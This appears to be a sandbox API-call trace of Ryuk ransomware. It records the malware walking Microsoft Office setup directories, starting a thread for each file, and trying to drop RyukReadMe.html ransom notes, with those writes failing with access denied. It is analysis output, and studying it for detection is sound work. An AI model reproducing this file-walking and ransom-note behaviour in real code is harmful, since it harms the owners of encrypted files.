	[0133.968] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*.*", lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79c20
	[0133.970] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0133.970] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0xbe, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="OFFICE~1.XML")) returned 1
	[0133.970] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x87a0000
	[0133.971] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d0
	[0133.974] VirtualFree (lpAddress=0x87a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.975] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0xbe, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="OFFICE~1.XML")) returned 0
	[0133.975] FindClose (in: hFindFile=0x79c20 | out: hFindFile=0x79c20) returned 1
	[0133.975] SetLastError (dwErrCode=0x0) 
	[0133.975] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0133.975] GetLastError () returned 0x5
	[0133.975] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0133.976] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0133.976] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="OneNote.en-us", cAlternateFileName="ONENOT~1.EN-")) returned 1
	[0133.976] SetLastError (dwErrCode=0x0) 
	[0133.976] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0133.976] GetLastError () returned 0x5
	[0133.976] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0133.976] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0133.976] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*.*", lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79c20
	[0133.978] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0133.978] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58ed930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0xbe, dwReserved1=0x0, cFileName="OneNoteMUI.XML", cAlternateFileName="ONENOT~1.XML")) returned 1
	[0133.979] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x87a0000
	[0133.979] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d4
	[0134.167] VirtualFree (lpAddress=0x87a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.168] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0134.168] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x87a0000
	[0134.169] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d8
	[0134.171] VirtualFree (lpAddress=0x87a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.171] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0134.172] FindClose (in: hFindFile=0x79c20 | out: hFindFile=0x79c20) returned 1
	[0134.172] SetLastError (dwErrCode=0x0) 
	[0134.172] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0134.172] GetLastError () returned 0x5
	[0134.172] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0134.172] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0134.173] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302b0500, ftCreationTime.dwHighDateTime=0x1cba073, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x302b0500, ftLastWriteTime.dwHighDateTime=0x1cba073, nFileSizeHigh=0x0, nFileSizeLow=0x709b68, dwReserved0=0x8e, dwReserved1=0x0, cFileName="OSETUP.DLL", cAlternateFileName="")) returned 1
	[0134.173] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x598fccf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0xb9a0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="OSetupPS.dll", cAlternateFileName="")) returned 1
	[0134.173] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="Outlook.en-us", cAlternateFileName="OUTLOO~1.EN-")) returned 1
	[0134.173] SetLastError (dwErrCode=0x0) 
	[0134.173] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0134.173] GetLastError () returned 0x5
	[0134.173] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0134.173] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0134.174] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*.*", lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79c20
	[0134.175] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0134.175] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee827f20, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0xbe, dwReserved1=0x0, cFileName="OutlookMUI.XML", cAlternateFileName="OUTLOO~1.XML")) returned 1
	[0134.175] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x87a0000
	[0134.176] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4dc
	[0134.179] VirtualFree (lpAddress=0x87a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.180] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0134.180] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x87a0000
	[0134.180] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e0
	[0134.182] VirtualFree (lpAddress=0x87a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.183] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0134.183] FindClose (in: hFindFile=0x79c20 | out: hFindFile=0x79c20) returned 1
	[0134.183] SetLastError (dwErrCode=0x0) 
	[0134.183] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0134.183] GetLastError () returned 0x5
	[0134.183] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0134.184] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0134.184] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x8e, dwReserved1=0x0, cFileName="pidgenx.dll", cAlternateFileName="")) returned 1
	[0134.184] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17eefe00, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0xbe99ad60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x17eefe00, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x8e, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1
	[0134.184] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x87a0000
	[0134.185] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c4
	[0134.186] VirtualFree (lpAddress=0x87a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.186] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6904ef00, ftCreationTime.dwHighDateTime=0x1ca912c, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6904ef00, ftLastWriteTime.dwHighDateTime=0x1ca912c, nFileSizeHigh=0x0, nFileSizeLow=0x3d78, dwReserved0=0x8e, dwReserved1=0x0, cFileName="pkeyconfig.companion.dll", cAlternateFileName="PKEYCO~1.DLL")) returned 1
	[0134.186] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PowerPoint.en-us", cAlternateFileName="POWERP~1.EN-")) returned 1
	[0134.186] SetLastError (dwErrCode=0x0) 
	[0134.187] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0134.187] GetLastError () returned 0x5
	[0134.187] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0134.187] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0134.187] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*.*", lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79c20
	[0134.189] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0134.189] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5db14d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0xbe, dwReserved1=0x0, cFileName="PowerPointMUI.XML", cAlternateFileName="POWERP~1.XML")) returned 1
	[0134.189] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x87a0000
	[0134.190] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e8
	[0134.192] VirtualFree (lpAddress=0x87a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.192] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0134.192] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x87a0000
	[0134.193] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ec
	[0134.195] VirtualFree (lpAddress=0x87a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.196] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0134.196] FindClose (in: hFindFile=0x79c20 | out: hFindFile=0x79c20) returned 1
	[0134.196] SetLastError (dwErrCode=0x0) 
	[0134.196] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0134.196] GetLastError () returned 0x5
	[0134.196] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0134.196] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0134.197] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PRJPROR", cAlternateFileName="")) returned 1
	[0134.197] SetLastError (dwErrCode=0x0) 
	[0134.197] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0134.197] GetLastError () returned 0x5
	[0134.197] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0134.197] CloseHandle (hObject=0xffffffffffffffff) returned 0
